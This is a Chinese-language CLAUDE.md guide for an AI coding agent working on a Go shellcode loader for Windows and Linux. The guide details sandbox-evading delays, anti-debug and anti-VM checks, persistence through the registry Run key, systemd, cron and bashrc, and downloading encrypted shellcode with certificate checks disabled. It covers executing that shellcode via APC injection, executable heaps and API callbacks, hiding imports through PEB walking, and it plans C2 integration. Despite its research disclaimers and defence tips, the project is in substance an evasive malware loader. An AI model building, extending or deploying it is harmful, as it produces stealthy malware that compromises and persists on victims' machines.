CLAUDE.md - Shellcode Executor 项目指南

此文件为 Claude Code (claude.ai/code) 在 Shellcode Executor 项目中工作时提供指导。

重要说明：此文档必须包含完整的实现细节，不得省略或简化任何重要部分。所有技术实现、安全机制和代码结构都需要详细描述。

项目概述

这是一个使用 Go 语言开发的高级跨平台 Shellcode 执行器，支持 Windows 和 Linux 平台，专注于安全研究和教学。项目采用构建标签（build tags）实现平台代码完全分离，无共享抽象接口层。展示了 Windows（PEB 访问、动态 API 解析、APC 注入）和 Linux（memfd_create、mmap/mprotect、ptrace 检测）的高级系统编程技术。

项目结构

shellcode_executor/
├── main_windows.go            # Windows 主入口
├── main_linux.go              # Linux 主入口
├── download.go                # 共享：downloadFromURL()（无构建标签）
├── go.mod                     # 模块依赖配置
├── CLAUDE.md                  # 项目指南（本文件）
├── README.md                  # 项目说明文档
├── PROJECT_DOCUMENTATION.md   # 详细技术文档
├── cmd/                       # 命令行工具
│   ├── auto_cleaner/          # 自动清理工具（Windows + Linux）
│   └── cleaner/               # 手动清理工具
├── pkg/                       # 核心包
│   ├── api/
│   │   ├── manager_windows.go # Windows：PEB 遍历动态 API 解析
│   │   └── manager_linux.go   # Linux：空存根
│   ├── executor/
│   │   ├── advanced_windows.go              # Windows 执行引擎（堆/APC/回调）
│   │   ├── advanced_linux.go               # Linux 执行引擎（memfd_create/mmap）
│   │   ├── stealth_persistence_windows.go  # Windows 持久化（注册表 Run）
│   │   └── stealth_persistence_linux.go    # Linux 持久化（5 种方法）
│   ├── peb/
│   │   ├── peb_windows.go     # Windows PEB 访问器
│   │   └── peb_linux.go       # Linux 环境检测器（/proc + DMI）
│   └── types/
│       ├── windows.go         # Windows PE/PEB/TEB 类型定义
│       └── linux.go           # Linux 占位文件
└── internal/                  # 内部包
    └── cryptoutil/            # 跨平台 AES 加密库
        ├── file_crypto.go     # 文件加密解密
        └── file_crypto_test.go # 加密测试

核心模块详细说明

1. 主程序（main_windows.go / main_linux.go）- 程序入口点

文件路径:

Windows: D:\GolandProjects\LearnGO\shellcode_executor\main_windows.go
Linux: D:\GolandProjects\LearnGO\shellcode_executor\main_linux.go
共享: D:\GolandProjects\LearnGO\shellcode_executor\download.go

详细功能：

延迟启动：time.Sleep(60 * time.Second) - 绕过基于时间的沙箱检测
环境检测：调用 antiAnalysis() 函数检查调试器和沙箱
持久化安装：调用 installStealthPersistence() 安装隐蔽持久化
Shellcode下载：从URL下载加密的Shellcode（支持TLS跳过证书验证）
Shellcode解密：使用AES多轮解密（默认3轮）
执行Shellcode：创建高级执行器并执行

关键技术实现：

TLS配置：TLSClientConfig: &tls.Config{InsecureSkipVerify: true} - 跳过证书验证
环境检测集成：综合多种检测方法
错误处理：完善的错误检查和恢复机制
资源管理：使用defer确保资源释放

执行流程：

延迟60秒启动（绕过时间检测）
执行环境检测（调试器、沙箱、模块检测）
安装隐蔽持久化（自我复制+注册表自启动）
从URL下载加密Shellcode
使用AES多轮解密Shellcode
创建高级执行器并执行Shellcode
等待执行完成并清理资源

2. 高级执行器（pkg/executor/advanced_*.go）- 核心执行引擎

文件路径:

Windows: D:\GolandProjects\LearnGO\shellcode_executor\pkg\executor\advanced_windows.go
Linux: D:\GolandProjects\LearnGO\shellcode_executor\pkg\executor\advanced_linux.go

Linux 执行引擎（advanced_linux.go）

使用 golang.org/x/sys/unix 包（syscall.RawSyscall6 已弃用）。

Technique 1：memfd_create（首选，规避 W^X 策略）

流程：MemfdCreate → Ftruncate → Mmap(RW) 写入 → Munmap → Mmap(RX) 执行

优势：不调用 mprotect W→X，可绕过 PaX/grsec MPROTECT 限制。

Technique 2：mmap + mprotect（回退，兼容性最广）

流程：Mmap(RW, MAP_ANONYMOUS) → copy → Mprotect(RX) → 调用

函数指针调用（无 cgo）：

func callShellcode(addr uintptr) {
    // Go func() 值 = 指向 {codePtr,...} 描述符的指针，调用时 runtime 读 *funcValue 跳转。
    // 必须将 &funcval 写入 f，而非将 addr 直接存为 func 值（否则 runtime 把 *addr 当代码指针 → SIGSEGV）。
    funcval := addr
    var f func()
    *(*uintptr)(unsafe.Pointer(&f)) = uintptr(unsafe.Pointer(&funcval))
    f()
}

Windows 执行引擎（advanced_windows.go）

详细功能：提供多种 Shellcode 执行技术，提高绕过成功率

执行步骤详细说明：

创建可执行堆：使用 RtlCreateHeap 创建可执行内存区域
- 堆标志：HEAP_CREATE_ENABLE_EXECUTE (0x00040000)
- 初始大小：0，最大大小：0（动态增长）
分配堆内存：在堆中分配Shellcode所需空间
- 使用 RtlAllocateHeap 分配内存
- 分配标志：HEAP_ZERO_MEMORY (0x00000008)
写入Shellcode：将Shellcode复制到分配的内存
- 使用 copy 函数复制字节
- 确保内存边界安全
修改内存权限：将内存权限改为可执行可读(RX)
- 使用 NtProtectVirtualMemory 修改内存保护
- 目标权限：PAGE_EXECUTE_READ (0x20)
创建挂起线程：创建处于挂起状态的线程
- 使用 NtCreateThreadEx 创建线程
- 线程标志：THREAD_CREATE_FLAGS_CREATE_SUSPENDED (0x00000001)
APC注入：使用 NtQueueApcThread 将Shellcode注入线程APC队列
- APC类型：用户模式APC
- 注入到新创建的线程
设置回调：使用 EnumTimeFormatsA 设置回调函数
- 利用Windows API的回调机制
- 将Shellcode地址作为回调函数
唤醒线程：唤醒挂起线程执行Shellcode
- 使用 NtAlertResumeThread 唤醒线程
- 等待线程执行完成

技术优势：

避免常见API：不使用 VirtualAlloc、CreateRemoteThread 等常见API
Nt系统调用：直接使用Nt系列系统调用，减少用户层痕迹
多种执行方式：集成堆执行、APC注入、回调函数等多种技术
内存安全：完善的内存管理和权限控制

关键代码实现：

func (e *AdvancedExecutor) protectMemoryRX(addr uintptr, size int) {
    var oldProtect uint32
    baseAddr := addr
    regionSize := uintptr(size)
    
    ret, _, _ := syscall.SyscallN(
        e.api.NtProtectVirtualMemory,
        ^uintptr(0), // 当前进程
        uintptr(unsafe.Pointer(&baseAddr)),
        uintptr(unsafe.Pointer(&regionSize)),
        PAGE_EXECUTE_READ,
        uintptr(unsafe.Pointer(&oldProtect)),
    )
}

3. 隐蔽持久化管理器（pkg/executor/stealth_persistence_*.go）- 持久化引擎

文件路径:

Windows: D:\GolandProjects\LearnGO\shellcode_executor\pkg\executor\stealth_persistence_windows.go
Linux: D:\GolandProjects\LearnGO\shellcode_executor\pkg\executor\stealth_persistence_linux.go

Linux 持久化（stealth_persistence_linux.go）

5 种方法，与 cmd/auto_cleaner/main_linux.go 清理逻辑完全对应：

方法	安装路径	清理动作
隐藏目录	`~/.local/share/.<random>/.<random>`	Glob 匹配删除
systemd 服务	`~/.config/systemd/user/<name>.service`	`systemctl --user disable/stop` + Remove
cron 任务	`crontab @reboot <path>`	`crontab -l` 过滤写回
bashrc	`~/.bashrc` 追加行	按 `/.local/share/.` 模式行删除
autostart	`~/.config/autostart/<name>.desktop`	`os.Remove`

Windows 持久化（stealth_persistence_windows.go）

详细功能：实现程序的隐蔽持久化功能，确保程序在删除后仍能运行

持久化技术详细说明：

自我复制：将程序复制到临时目录
- 目标目录：os.TempDir() (系统临时目录)
- 复制方法：使用 io.Copy 完整复制文件
- 文件大小检查：避免重复复制相同文件
随机文件名：生成GUID格式的文件名
- 格式：xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.exe
- 生成方法：使用 crypto/rand 生成随机字节
- 优势：看起来像系统文件，减少怀疑
注册表自启动：使用标准Run注册表项
- 注册表路径：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- 注册表项名：基于源程序路径生成稳定标识符
- 注册表值：复制后的程序完整路径
稳定标识符生成：基于源程序路径生成注册表项名称
- 使用SHA256哈希源程序路径
- 取前8字节转换为十六进制字符串
- 确保同一程序在不同位置运行时使用相同注册表项

安全特性：

用户级权限：仅使用HKEY_CURRENT_USER，无需管理员权限
避免Load键：不使用Load注册表键，防止资源管理器警告弹窗
系统临时目录：使用合法系统目录，避免可疑路径
文件大小验证：检查文件大小，避免重复复制和损坏文件

关键代码实现：

func generateStableIdentifier(sourcePath string) string {
    hash := sha256.Sum256([]byte(sourcePath))
    return hex.EncodeToString(hash[:8])
}

func generateRandomFilename() string {
    uuid := make([]byte, 16)
    rand.Read(uuid)
    
    // 设置版本位（版本4）
    uuid[6] = (uuid[6] & 0x0f) | 0x40
    uuid[8] = (uuid[8] & 0x3f) | 0x80
    
    return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x.exe",
        uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:16])
}

持久化流程：

获取源程序路径和系统临时目录
生成随机GUID文件名
构建目标文件完整路径
检查目标文件是否存在且大小相同（避免重复复制）
复制源程序到目标位置
生成稳定标识符作为注册表项名
写入注册表自启动项
验证持久化状态

4. PEB 访问器 / 环境检测器（pkg/peb/peb_*.go）

文件路径:

Windows: D:\GolandProjects\LearnGO\shellcode_executor\pkg\peb\peb_windows.go
Linux: D:\GolandProjects\LearnGO\shellcode_executor\pkg\peb\peb_linux.go

Linux 环境检测器（peb_linux.go）

Linux 无 PEB，提供等效检测接口：

IsDebuggerPresent()：读取 /proc/self/status TracerPid 字段；调用 ptrace(PTRACE_TRACEME) 若返回 EPERM 则被追踪
GetNtGlobalFlag()：始终返回 0（兼容接口）
IsSandboxed()：检测 /.dockerenv、/proc/1/cgroup（docker/lxc/kubepods）、DMI 厂商（vmware/virtualbox/qemu/kvm/xen）、/proc/cpuinfo hypervisor 标志

Windows PEB 访问器（peb_windows.go）

详细功能：访问进程环境块，实现动态API解析和环境检测

核心功能详细说明：

获取PEB地址：使用 NtQueryInformationProcess 获取PEB地址
- 信息类：ProcessBasicInformation (0)
- 返回结构：PROCESS_BASIC_INFORMATION
模块遍历：安全遍历进程加载的模块列表
- 通过PEB->Ldr->InMemoryOrderModuleList遍历
- 支持Unicode字符串的安全读取
- 防止无限循环和内存访问异常
API解析：动态解析导出表获取API地址
- 解析PE文件的DOS头、NT头、导出表
- 遍历导出函数名，匹配目标API
- 获取函数地址并缓存
环境检测：检查调试器、沙箱等不安全环境
- 调试器检测：PEB.BeingDebugged标志
- 调试标志检测：NtGlobalFlag中的调试标志位(0x70)
- 沙箱模块检测：检查sbiedll, snxhk, vboxhook, vmsrvc等模块

数据结构：

type PROCESS_BASIC_INFORMATION struct {
    Reserved1       uintptr
    PebBaseAddress  uintptr // PEB地址
    Reserved2       [2]uintptr
    UniqueProcessId uintptr
    Reserved3       uintptr
}

type PEB struct {
    Reserved1              [2]byte
    BeingDebugged          byte
    Reserved2              [1]byte
    Reserved3              [2]uintptr
    Ldr                    uintptr // PEB_LDR_DATA指针
    ProcessParameters      uintptr
    Reserved4              [3]uintptr
    AtlThunkSListPtr       uintptr
    Reserved5              uintptr
    Reserved6              uint32
    Reserved7              uintptr
    Reserved8              uint32
    AtlThunkSListPtr32     uint32
    Reserved9              [45]uintptr
    Reserved10             [96]byte
    PostProcessInitRoutine uintptr
    Reserved11             [128]byte
    Reserved12             [1]uintptr
    SessionId              uint32
}

关键代码实现：

func (p *PEAccessor) GetAPIAddr(moduleBase uintptr, apiName string) uintptr {
    // 解析DOS头
    dosHeader := (*types.IMAGE_DOS_HEADER)(unsafe.Pointer(moduleBase))
    // 解析NT头
    ntHeaderAddr := moduleBase + uintptr(dosHeader.E_lfanew)
    // 获取导出表
    exportDir := &ntHeader.OptionalHeader.DataDirectory[0]
    // 遍历导出函数
    for i := 0; i < int(exportTable.NumberOfNames); i++ {
        // 比较函数名
        if compareAPIName(nameBytes, apiName) {
            return moduleBase + uintptr(*functionPtr)
        }
    }
    return 0
}

安全特性：

安全内存读取：检查内存边界，防止访问异常
错误恢复：完善的错误检查和恢复机制
Unicode支持：安全读取Unicode字符串
模块验证：验证模块基址和结构有效性

5. API 管理器（pkg/api/manager_*.go）- 动态 API 解析

文件路径:

Windows: D:\GolandProjects\LearnGO\shellcode_executor\pkg\api\manager_windows.go
Linux: D:\GolandProjects\LearnGO\shellcode_executor\pkg\api\manager_linux.go（空存根）

Linux 直接使用 golang.org/x/sys/unix 包进行系统调用，无需动态 API 解析。

Windows API 管理器（manager_windows.go）

详细功能：动态解析和管理系统API，避免导入表痕迹

支持的API详细列表：

ntdll.dll API：
- RtlCreateHeap - 创建可执行堆
- RtlAllocateHeap - 在堆中分配内存
- RtlFreeHeap - 释放堆内存
- NtProtectVirtualMemory - 修改内存保护
- NtAlertResumeThread - 唤醒挂起线程
- NtCreateThreadEx - 创建扩展线程
- NtQueueApcThread - 注入线程APC
kernel32.dll API：
- EnumTimeFormatsA - 枚举时间格式（用于回调执行）
- QueueUserAPC - 用户模式APC注入
- VirtualAlloc - 虚拟内存分配（备用）
- VirtualProtect - 修改内存保护（备用）
- VirtualFree - 释放虚拟内存
- CreateThread - 创建线程（备用）
- WaitForSingleObject - 等待对象
- GetCurrentThread - 获取当前线程
- GetCurrentProcess - 获取当前进程
- Sleep - 线程休眠
- CloseHandle - 关闭句柄

技术特点：

PEB遍历：通过PEB获取模块基址，避免GetModuleHandle
动态解析：解析导出表获取API地址
API验证：完整的API验证机制
缓存管理：缓存已解析的API地址，提高性能

API解析流程：

通过PEB获取目标模块基址（ntdll.dll/kernel32.dll）
解析PE文件的DOS头和NT头
定位导出表数据目录
遍历导出函数名表，匹配目标API名称
通过序号获取函数地址
验证函数地址有效性
缓存解析结果

关键代码实现：

type APIManager struct {
    pebAccessor *peb.PEAccessor
    apiCache    map[string]uintptr
    cacheMutex  sync.RWMutex
}

func (m *APIManager) GetAPI(moduleName, apiName string) (uintptr, error) {
    // 检查缓存
    cacheKey := moduleName + "!" + apiName
    m.cacheMutex.RLock()
    if addr, ok := m.apiCache[cacheKey]; ok {
        m.cacheMutex.RUnlock()
        return addr, nil
    }
    m.cacheMutex.RUnlock()
    
    // 动态解析
    moduleBase := m.pebAccessor.GetModuleBase(moduleName)
    if moduleBase == 0 {
        return 0, fmt.Errorf("module %s not found", moduleName)
    }
    
    addr := m.pebAccessor.GetAPIAddr(moduleBase, apiName)
    if addr == 0 {
        return 0, fmt.Errorf("API %s not found in %s", apiName, moduleName)
    }
    
    // 更新缓存
    m.cacheMutex.Lock()
    m.apiCache[cacheKey] = addr
    m.cacheMutex.Unlock()
    
    return addr, nil
}

优势：

无导入表：避免传统导入表检测
动态加载：运行时解析API，减少静态分析痕迹
兼容性：支持不同Windows版本
安全性：验证API地址，防止无效调用

6. 加密工具 (internal/cryptoutil/file_crypto.go) - 多轮AES加密

文件路径: D:\GolandProjects\LearnGO\shellcode_executor\internal\cryptoutil\file_crypto.go

详细功能：提供多轮AES-GCM加密解密功能，保护Shellcode传输

加密流程详细说明：

密钥派生：使用PBKDF2派生密钥
- 算法：PBKDF2 with HMAC-SHA256
- 迭代次数：210000次（默认）
- 盐长度：16字节（随机生成）
- 密钥长度：32字节（AES-256）
多轮加密：支持最多64轮AES-GCM加密
- 每轮加密使用独立的随机nonce（12字节）
- 支持1-64轮加密（默认3轮）
- 每轮加密输出包含认证标签（16字节）

文件格式：

[文件头"LGOENC1"][迭代次数4字节][轮数2字节][盐16字节][nonce1 12字节]...[nonceN 12字节][密文]

Base64支持：支持Base64编码/解码
- 便于在文本环境中传输
- 支持标准Base64编码
- 自动处理填充字符

关键代码实现：

func EncryptWithPassword(data []byte, password string, rounds int) ([]byte, error) {
    // 参数验证
    if rounds < 1 || rounds > 64 {
        return nil, fmt.Errorf("rounds must be between 1 and 64")
    }
    
    // 生成随机盐
    salt := make([]byte, 16)
    rand.Read(salt)
    
    // 派生密钥
    key := pbkdf2.Key([]byte(password), salt, 210000, 32, sha256.New)
    
    // 多轮加密
    ciphertext := data
    nonces := make([][]byte, rounds)
    
    for i := 0; i < rounds; i++ {
        // 生成随机nonce
        nonce := make([]byte, 12)
        rand.Read(nonce)
        nonces[i] = nonce
        
        // AES-GCM加密
        block, _ := aes.NewCipher(key)
        aesgcm, _ := cipher.NewGCM(block)
        ciphertext = aesgcm.Seal(nil, nonce, ciphertext, nil)
    }
    
    // 构建输出
    output := make([]byte, 0)
    output = append(output, []byte("LGOENC1")...)
    output = append(output, putUint32(210000)...)
    output = append(output, putUint16(uint16(rounds))...)
    output = append(output, salt...)
    for _, nonce := range nonces {
        output = append(output, nonce...)
    }
    output = append(output, ciphertext...)
    
    return output, nil
}

解密流程：

验证文件头"LGOENC1"
读取迭代次数、轮数、盐
读取每轮的nonce
使用PBKDF2派生密钥
按相反顺序进行多轮解密
验证认证标签

安全特性：

强密钥派生：PBKDF2 with 210000 iterations
随机盐和nonce：每轮加密使用随机值
认证加密：AES-GCM提供完整性和认证
安全内存清理：使用 ZeroBytes 清理敏感数据
多轮加密：增加暴力破解难度

文件格式详细说明：

偏移量0-6：文件头 "LGOENC1" (7字节)
偏移量7-10：迭代次数 (4字节，小端序)
偏移量11-12：加密轮数 (2字节，小端序)
偏移量13-28：盐 (16字节)
偏移量29-40：第1轮nonce (12字节)
... 每轮12字节nonce
最后部分：密文（包含GCM认证标签）

详细构建与部署指南

1. 构建脚本详细说明

build.bat (Windows构建脚本)

文件路径: D:\GolandProjects\LearnGO\shellcode_executor\build.bat

功能：

支持跨平台构建（windows/linux）
支持多种架构（amd64/386）
支持发布模式（去除调试信息）
支持清理构建文件

构建选项：

:: 默认构建（当前平台）
build.bat

:: 构建所有平台
build.bat all

:: 清理构建文件
build.bat clean

:: 发布模式构建（去除调试信息）
build.bat release

build.sh (Linux构建脚本)

文件路径: D:\GolandProjects\LearnGO\shellcode_executor\build.sh

功能：

支持颜色输出
支持自动平台检测
支持批量构建所有平台
支持测试运行

使用示例：

# 默认构建
./build.sh

# 构建所有平台
./build.sh all

# 清理构建文件
./build.sh clean

# 运行测试
./build.sh test

2. 手动构建命令

主程序构建

# 进入项目目录
cd shellcode_executor

# 基本构建（当前平台）
go build -o shellcode_executor.exe

# 交叉编译（Linux目标）
GOOS=linux GOARCH=amd64 go build -o shellcode_executor_linux

# 交叉编译（Windows 32位）
GOOS=windows GOARCH=386 go build -o shellcode_executor_32.exe

# 发布模式构建（去除调试信息）
go build -ldflags="-s -w" -o shellcode_executor_release.exe

# 静态链接构建
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -a -ldflags="-s -w" -o shellcode_executor_static.exe

工具构建

# 清理工具构建
cd cmd/cleaner
go build -o cleaner.exe
# 或使用构建脚本
build.bat        # Windows
./build.sh       # Linux

# 自动清理工具构建
cd ../auto_cleaner
go build -o auto_cleaner.exe

3. 测试详细指南

单元测试

# 运行所有测试
go test ./...

# 运行特定包测试
go test ./internal/cryptoutil

# 运行特定测试
go test -run TestDecryptBase64WithPassword

# 详细输出测试
go test -v ./internal/cryptoutil

# 测试覆盖率
go test -cover ./...

# 生成覆盖率报告
go test -coverprofile=coverage.out ./...
go tool cover -html=coverage.out

加密测试详细说明

测试文件: D:\GolandProjects\LearnGO\shellcode_executor\internal\cryptoutil\file_crypto_test.go

测试用例：

TestEncryptDecrypt：基本加密解密测试
TestEncryptDecryptWithPassword：带密码的加密解密
TestEncryptDecryptBase64：Base64编码测试
TestEncryptDecryptBase64WithPassword：Base64带密码测试
TestMultipleRounds：多轮加密测试
TestWrongPassword：错误密码测试
TestCorruptedData：损坏数据测试

4. 代码质量检查

代码格式化

# 格式化所有代码
go fmt ./...

# 检查格式化问题
gofmt -d .

# 递归格式化
gofmt -w -s .

静态分析

# Go vet检查
go vet ./...

# 更严格的检查
go vet -vettool=$(which shadow) ./...

# 使用golangci-lint
golangci-lint run ./...

依赖管理

# 整理依赖
go mod tidy

# 验证依赖
go mod verify

# 下载依赖
go mod download

# 查看依赖图
go mod graph

# 更新依赖
go get -u ./...

5. 部署配置

环境要求

Go版本: 1.25+
操作系统: Windows (主要), Linux (构建)
架构: x86_64 (amd64), x86 (386)
依赖: 标准库，无外部依赖

编译标志说明

-s：省略符号表和调试信息
-w：省略DWARF调试信息
-ldflags="-H windowsgui"：Windows GUI程序（无控制台）
-trimpath：移除文件系统路径

优化建议

减小体积：使用 -s -w 标志
静态链接：设置 CGO_ENABLED=0
去除路径：使用 -trimpath
版本信息：通过 -ldflags 设置版本

6. 调试构建

调试信息保留

# 保留调试信息
go build -gcflags="all=-N -l" -o shellcode_executor_debug.exe

性能分析构建

# 启用性能分析
go build -tags=profile -o shellcode_executor_profile.exe

竞态检测

# 启用竞态检测
go build -race -o shellcode_executor_race.exe

执行流程

1. 环境检测

检查调试器（PEB.BeingDebugged）
检查调试标志（NtGlobalFlag）
检查沙箱模块
检查时间加速

2. Shellcode 加载

从 URL 下载加密的 Shellcode
使用多轮 AES 解密
Base64 解码为原始字节

3. 持久化安装

复制程序到临时目录
添加注册表自启动项
验证持久化状态

4. Shellcode 执行

创建可执行堆
分配堆内存
写入 Shellcode
修改内存权限
创建挂起线程
APC 注入
设置回调函数
唤醒线程执行

5. 资源清理

等待执行完成
释放内存和句柄
静默退出

详细技术实现分析

1. 环境检测机制详细说明

文件路径: D:\GolandProjects\LearnGO\shellcode_executor\main.go (antiAnalysis函数)

检测项目详细说明：

调试器检测：
- PEB.BeingDebugged：检查PEB结构中的BeingDebugged标志（偏移量2）
- NtGlobalFlag：检查PEB结构中的NtGlobalFlag（偏移量0xBC）
  - FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
  - FLG_HEAP_ENABLE_FREE_CHECK (0x20)
  - FLG_HEAP_VALIDATE_PARAMETERS (0x40)
- 调试端口：检查进程调试端口
沙箱检测：
- 沙箱模块检测：检查以下模块是否加载
  - sbiedll.dll (Sandboxie)
  - snxhk.dll (Sandboxie)
  - vboxhook.dll (VirtualBox)
  - vmsrvc.dll (VMware)
  - vm3dgl.dll (VMware)
  - vmtools.dll (VMware)
- 时间加速检测：
```
start := time.Now()
time.Sleep(1 * time.Second)
elapsed := time.Since(start)
if elapsed < 900*time.Millisecond { // 检测时间加速
    return true
}
```
模块信息收集：
- 遍历所有加载的模块
- 收集模块名称、基址、大小信息
- 用于后续分析和检测

2. Shellcode执行技术详细对比

技术1：堆内存执行

原理：使用 RtlCreateHeap 创建可执行堆，在堆中执行代码
优势：避免 VirtualAlloc 等常见API调用
API调用：RtlCreateHeap → RtlAllocateHeap → NtProtectVirtualMemory
内存权限：PAGE_EXECUTE_READ (0x20)

技术2：APC注入

原理：使用 NtQueueApcThread 将Shellcode注入线程APC队列
优势：利用Windows异步过程调用机制
API调用：NtCreateThreadEx → NtQueueApcThread → NtAlertResumeThread
线程状态：创建挂起线程，注入APC后唤醒

技术3：回调函数执行

原理：使用 EnumTimeFormatsA 设置回调函数执行Shellcode
优势：使用小众API，减少检测风险
API调用：EnumTimeFormatsA 将Shellcode地址作为回调
执行时机：API内部调用回调函数时执行

技术4：直接系统调用

原理：直接调用Nt系列系统调用，避免用户层API
优势：减少用户层痕迹，绕过API钩子
实现：通过PEB动态解析系统调用号
兼容性：支持不同Windows版本

3. 隐蔽持久化技术详细分析

文件复制技术：

目标目录选择：os.TempDir() 系统临时目录
- Windows: %TEMP% 或 %TMP%
- 合法系统目录，减少怀疑
文件名生成：GUID格式文件名
- 格式：8-4-4-4-12十六进制
- 示例：7c3b8d2a-1e4f-4a9b-b5c6-8d9e0f1a2b3c.exe
- 看起来像系统或应用程序文件

文件大小验证：

srcInfo, _ := os.Stat(sourcePath)
dstInfo, err := os.Stat(destPath)
if err == nil && srcInfo.Size() == dstInfo.Size() {
    return nil // 文件已存在且大小相同，跳过复制
}

注册表技术：

注册表路径：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- 用户级权限，无需管理员
- 标准自启动位置，减少怀疑
注册表项名生成：基于源程序路径的稳定标识符
- SHA256哈希源程序路径
- 取前8字节十六进制
- 同一程序在不同位置使用相同注册表项
避免的技术：
- 不使用 Load 注册表键（避免资源管理器警告）
- 不使用 RunOnce（仅运行一次）
- 不使用需要管理员权限的注册表位置

4. 动态API解析技术深度分析

PEB遍历流程：

获取PEB地址：NtQueryInformationProcess(ProcessBasicInformation)
遍历模块列表：PEB->Ldr->InMemoryOrderModuleList
读取模块信息：LDR_DATA_TABLE_ENTRY
Unicode字符串处理：安全读取宽字符字符串

PE文件解析：

DOS头验证：检查 e_magic == 0x5A4D ("MZ")
NT头定位：dosHeader.E_lfanew 偏移量
导出表定位：OptionalHeader.DataDirectory[0]
函数名遍历：AddressOfNames 数组
地址获取：通过 AddressOfNameOrdinals 获取函数地址

缓存机制：

并发安全：使用 sync.RWMutex 保护缓存
缓存键：模块名!函数名 格式
缓存失效：程序生命周期内有效
性能优化：减少重复解析开销

5. 加密技术安全分析

密钥安全：

强密钥派生：PBKDF2 with 210,000 iterations
随机盐：16字节随机盐，防止彩虹表攻击
密钥长度：32字节（AES-256）

加密安全：

认证加密：AES-GCM提供完整性和认证
随机nonce：每轮加密使用独立随机nonce
多轮加密：增加暴力破解难度
安全内存：使用后清理敏感数据

文件格式安全：

魔术头："LGOENC1" 标识文件类型
参数存储：迭代次数、轮数存储在文件中
完整性：GCM认证标签确保数据完整性
版本控制：文件头支持未来格式扩展

代码规范

命名约定

包名：使用小写，无下划线
文件名：使用小写，下划线分隔
结构体：使用 PascalCase
方法/函数：使用 PascalCase（导出）或 camelCase（内部）
变量：使用 camelCase
常量：使用 UPPER_CASE，下划线分隔

注释要求

包注释：每个包文件开头添加包说明
导出函数：添加详细的函数说明
复杂逻辑：添加行内注释说明
技术原理：重要技术点添加说明

错误处理

函数返回：返回 error 类型
错误包装：使用 fmt.Errorf 包装错误
错误检查：及时检查和处理错误
资源释放：使用 defer 确保资源释放

安全与法律注意事项

⚠️ 重要安全声明

本项目仅用于以下合法用途：

授权的安全研究：研究恶意软件技术和防御方法
安全教学和学习：学习Windows系统编程和安全技术
合法的渗透测试：在明确授权范围内的安全评估
安全工具开发：开发检测和防御工具
学术研究：计算机安全相关的学术研究

🚫 严格禁止用途

绝对禁止用于以下非法用途：

未经授权的系统入侵：任何未经许可的系统访问
恶意软件开发：开发用于非法目的的软件
非法监控和攻击：监控、攻击他人系统
数据窃取：未经授权获取他人数据
勒索软件：加密他人文件索要赎金
僵尸网络：控制他人计算机进行攻击
任何违反法律法规的活动

🔒 技术安全风险

项目本身的安全风险：

检测风险：现代安全软件可能检测到这些技术
法律风险：在某些司法管辖区可能违法
误用风险：技术可能被恶意行为者滥用
职业风险：从事此类工作可能影响职业发展

📋 使用责任

使用者必须承担以下责任：

合法授权：确保所有测试都有明确书面授权
隔离环境：在隔离的实验室环境中测试
专业道德：遵守信息安全专业道德
法律合规：遵守当地和国际法律法规
风险自担：使用者自行承担所有风险和责任

🛡️ 防御建议

如何防御此类技术：

端点检测与响应(EDR)：部署现代EDR解决方案
行为分析：监控异常进程行为
内存保护：启用控制流防护(CFG)等内存保护
应用程序控制：限制未知应用程序执行
定期更新：保持系统和安全软件更新
安全意识培训：培训用户识别可疑活动

扩展开发

添加新的执行技术

在 pkg/executor 中创建新的执行器
实现 Execute 方法
在 pkg/api 中添加所需的 API
在主程序中集成新的执行器

添加新的检测技术

在 pkg/peb 中添加检测逻辑
在 antiAnalysis 函数中调用
添加相应的错误处理

添加新的加密算法

在 internal/cryptoutil 中添加实现
提供统一的接口
添加相应的测试

故障排除

构建问题

Go 版本：需要 Go 1.25+
依赖问题：运行 go mod tidy
权限问题：确保有写入权限
路径问题：检查 GOPATH 和模块设置

执行问题

环境检测失败：检查是否在调试器或沙箱中运行
Shellcode 加载失败：检查 URL 可访问性和加密密码
权限不足：确保有足够的系统权限
API 解析失败：检查系统版本和 API 可用性

持久化问题

注册表写入失败：检查用户权限和注册表路径
文件复制失败：检查磁盘空间和文件权限
路径问题：检查环境变量和目录存在性

调试技巧

启用调试输出

// 在 main.go 中临时启用详细输出
fmt.Println("[DEBUG] 详细调试信息")

禁用环境检测

// 在开发测试时临时禁用
// if antiAnalysis() {
//     log.Fatal("[!] 环境不安全，退出执行")
// }

使用测试 Shellcode

// 使用简单的测试 Shellcode
testShellcode := []byte{0x90, 0x90, 0x90} // NOP 指令

项目总结与评估

技术总结

核心技术亮点

PEB动态解析：实现无导入表的API调用，减少静态分析痕迹
多种执行技术：集成堆执行、APC注入、回调函数等多种技术，提高成功率
环境检测：综合调试器检测、沙箱检测、时间加速检测等多种方法
隐蔽持久化：使用GUID文件名和用户级注册表实现隐蔽自启动
强加密：多轮AES-GCM加密保护Shellcode传输

架构优势

模块化设计：清晰的代码结构和职责分离
错误处理：完善的错误检查和恢复机制
安全考虑：内存安全、异常恢复、敏感数据清理
跨平台支持：支持Windows和Linux构建环境

安全评估

检测风险

静态检测：动态API解析减少导入表痕迹，但代码模式可能被检测
行为检测：环境检测和延迟执行绕过基础行为分析
内存检测：堆内存执行和权限修改可能被高级EDR检测
持久化检测：GUID文件名和用户级注册表减少可疑度

防御建议

端点防护：部署现代EDR解决方案，监控异常行为
内存保护：启用控制流防护(CFG)、任意代码防护(ACG)
应用程序控制：限制未知应用程序执行
行为监控：监控注册表修改和文件复制行为

法律与道德考虑

合法使用场景

红队演练：授权的渗透测试和安全评估
安全研究：恶意软件技术研究和防御方法开发
教学培训：信息安全专业教学和技能培训
工具开发：安全检测和防御工具开发

非法使用风险

刑事犯罪：未经授权的系统访问可能构成犯罪
民事责任：造成损失可能面临民事赔偿
职业风险：违法行为可能影响职业发展和认证
国际法律：可能违反多国法律法规

开发建议

代码改进

错误处理：进一步完善错误恢复机制
日志系统：添加可配置的日志系统
配置管理：支持外部配置文件
模块测试：增加单元测试覆盖率

功能扩展

更多执行技术：添加其他Shellcode执行方法
通信加密：支持更复杂的通信加密协议
C2集成：支持命令与控制服务器通信
跨平台支持：扩展Linux和macOS支持

学习价值

技术学习点

Windows系统编程：PEB、内存管理、线程、APC
安全技术：反调试、反沙箱、隐蔽持久化
